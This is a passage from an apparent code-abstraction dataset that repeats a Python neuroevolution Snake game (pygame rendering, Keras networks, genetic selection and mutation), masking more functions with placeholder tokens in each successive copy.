i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef save_pool():\n for i in range(total_models):\n current_pool[i].save_weights(save_location + str(i) + '.keras')\n print('Pool saved')\n\n\ndef create_model():\n \"\"\"\n Create Neural Network as a keras model\n \"\"\"\n model = Sequential()\n model.add(Dense(12, input_dim=8, activation='relu'))\n model.add(Dense(16, activation='relu'))\n model.add(Dense(4, activation='sigmoid'))\n model.compile(loss='mse', optimizer='adam')\n return model\n\n\ndef predict_direction(snake, fruit, model_num):\n \"\"\"\n This function feeds information into the model, then determines\n which direction the snake should go\n \"\"\"\n direction = snake.check_head()\n fruit = snake.check_fruit(fruit)\n n_input = np.concatenate([direction, fruit])\n n_input = np.atleast_2d(n_input)\n output = current_pool[model_num].predict(n_input, 1)\n return output.argmax()\n\n\n<function token>\n\n\ndef model_mutate(weights):\n \"\"\"\n Mutate the weights of a model\n \"\"\"\n for i in range(len(weights)):\n for j in range(len(weights[i])):\n if random.uniform(0, 1) > 0.7:\n change = random.uniform(-0.5, 0.5)\n weights[i][j] += change\n return weights\n\n\ndef roulette_selection(total_fitness):\n global fitness\n choice = random.randint(0, total_fitness)\n parent = 0\n current = 0\n for idx in range(total_models):\n current += fitness[idx]\n if current > choice:\n parent = idx\n break\n return parent\n\n\ndef genetic_updates():\n global current_pool\n global fitness\n global generation\n new_weights = []\n total_fitness = sum(fitness)\n for i in range(total_models // 2):\n parent_1 = roulette_selection(total_fitness)\n parent_2 = roulette_selection(total_fitness)\n new = model_crossover(parent_1, parent_2)\n update_w1 = model_mutate(new[0])\n update_w2 = model_mutate(new[1])\n new_weights.append(update_w1)\n new_weights.append(update_w2)\n for i in range(len(new_weights)):\n current_pool[i].set_weights(new_weights[i])\n generation += 1\n return\n\n\n<function token>\n\n\nclass App:\n \"\"\"\n Main App for game\n \"\"\"\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef save_pool():\n for i in range(total_models):\n current_pool[i].save_weights(save_location + str(i) + '.keras')\n print('Pool saved')\n\n\ndef create_model():\n \"\"\"\n Create Neural Network as a keras model\n \"\"\"\n model = Sequential()\n model.add(Dense(12, input_dim=8, activation='relu'))\n model.add(Dense(16, activation='relu'))\n model.add(Dense(4, activation='sigmoid'))\n model.compile(loss='mse', optimizer='adam')\n return model\n\n\ndef predict_direction(snake, fruit, model_num):\n \"\"\"\n This function feeds information into the model, then determines\n which direction the snake should go\n \"\"\"\n direction = snake.check_head()\n fruit = snake.check_fruit(fruit)\n n_input = np.concatenate([direction, fruit])\n n_input = np.atleast_2d(n_input)\n output = current_pool[model_num].predict(n_input, 1)\n return output.argmax()\n\n\n<function token>\n\n\ndef model_mutate(weights):\n \"\"\"\n Mutate the weights of a model\n \"\"\"\n for i in range(len(weights)):\n for j in range(len(weights[i])):\n if random.uniform(0, 1) > 0.7:\n change = random.uniform(-0.5, 0.5)\n weights[i][j] += change\n return weights\n\n\n<function token>\n\n\ndef genetic_updates():\n global current_pool\n global fitness\n global generation\n new_weights = []\n total_fitness = sum(fitness)\n for i in range(total_models // 2):\n parent_1 = roulette_selection(total_fitness)\n parent_2 = roulette_selection(total_fitness)\n new = model_crossover(parent_1, parent_2)\n update_w1 = model_mutate(new[0])\n update_w2 = model_mutate(new[1])\n new_weights.append(update_w1)\n new_weights.append(update_w2)\n for i in range(len(new_weights)):\n current_pool[i].set_weights(new_weights[i])\n generation += 1\n return\n\n\n<function token>\n\n\nclass App:\n \"\"\"\n Main App for game\n \"\"\"\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef save_pool():\n for i in range(total_models):\n current_pool[i].save_weights(save_location + str(i) + '.keras')\n print('Pool saved')\n\n\ndef create_model():\n \"\"\"\n Create Neural Network as a keras model\n \"\"\"\n model = Sequential()\n model.add(Dense(12, input_dim=8, activation='relu'))\n model.add(Dense(16, activation='relu'))\n model.add(Dense(4, activation='sigmoid'))\n model.compile(loss='mse', optimizer='adam')\n return model\n\n\ndef predict_direction(snake, fruit, model_num):\n \"\"\"\n This function feeds information into the model, then determines\n which direction the snake should go\n \"\"\"\n direction = snake.check_head()\n fruit = snake.check_fruit(fruit)\n n_input = np.concatenate([direction, fruit])\n n_input = np.atleast_2d(n_input)\n output = current_pool[model_num].predict(n_input, 1)\n return output.argmax()\n\n\n<function token>\n\n\ndef model_mutate(weights):\n \"\"\"\n Mutate the weights of a model\n \"\"\"\n for i in range(len(weights)):\n for j in range(len(weights[i])):\n if random.uniform(0, 1) > 0.7:\n change = random.uniform(-0.5, 0.5)\n weights[i][j] += change\n return weights\n\n\n<function token>\n<function token>\n<function token>\n\n\nclass App:\n \"\"\"\n Main App for game\n \"\"\"\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef save_pool():\n for i in range(total_models):\n current_pool[i].save_weights(save_location + str(i) + '.keras')\n print('Pool saved')\n\n\ndef create_model():\n \"\"\"\n Create Neural Network as a keras model\n \"\"\"\n model = Sequential()\n model.add(Dense(12, input_dim=8, activation='relu'))\n model.add(Dense(16, activation='relu'))\n model.add(Dense(4, activation='sigmoid'))\n model.compile(loss='mse', optimizer='adam')\n return model\n\n\ndef predict_direction(snake, fruit, model_num):\n \"\"\"\n This function feeds information into the model, then determines\n which direction the snake should go\n \"\"\"\n direction = snake.check_head()\n fruit = snake.check_fruit(fruit)\n n_input = np.concatenate([direction, fruit])\n n_input = np.atleast_2d(n_input)\n output = current_pool[model_num].predict(n_input, 1)\n return output.argmax()\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass App:\n \"\"\"\n Main App for game\n \"\"\"\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef save_pool():\n for i in range(total_models):\n current_pool[i].save_weights(save_location + str(i) + '.keras')\n print('Pool saved')\n\n\n<function token>\n\n\ndef predict_direction(snake, fruit, model_num):\n \"\"\"\n This function feeds information into the model, then determines\n which direction the snake should go\n \"\"\"\n direction = snake.check_head()\n fruit = snake.check_fruit(fruit)\n n_input = np.concatenate([direction, fruit])\n n_input = np.atleast_2d(n_input)\n output = current_pool[model_num].predict(n_input, 1)\n return output.argmax()\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass App:\n \"\"\"\n Main App for game\n \"\"\"\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef predict_direction(snake, fruit, model_num):\n \"\"\"\n This function feeds information into the model, then determines\n which direction the snake should go\n \"\"\"\n direction = snake.check_head()\n fruit = snake.check_fruit(fruit)\n n_input = np.concatenate([direction, fruit])\n n_input = np.atleast_2d(n_input)\n output = current_pool[model_num].predict(n_input, 1)\n return output.argmax()\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass App:\n \"\"\"\n Main App for game\n \"\"\"\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass App:\n \"\"\"\n Main App for game\n \"\"\"\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass App:\n <docstring token>\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass App:\n <docstring token>\n <function token>\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass App:\n <docstring token>\n <function token>\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n <function token>\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n 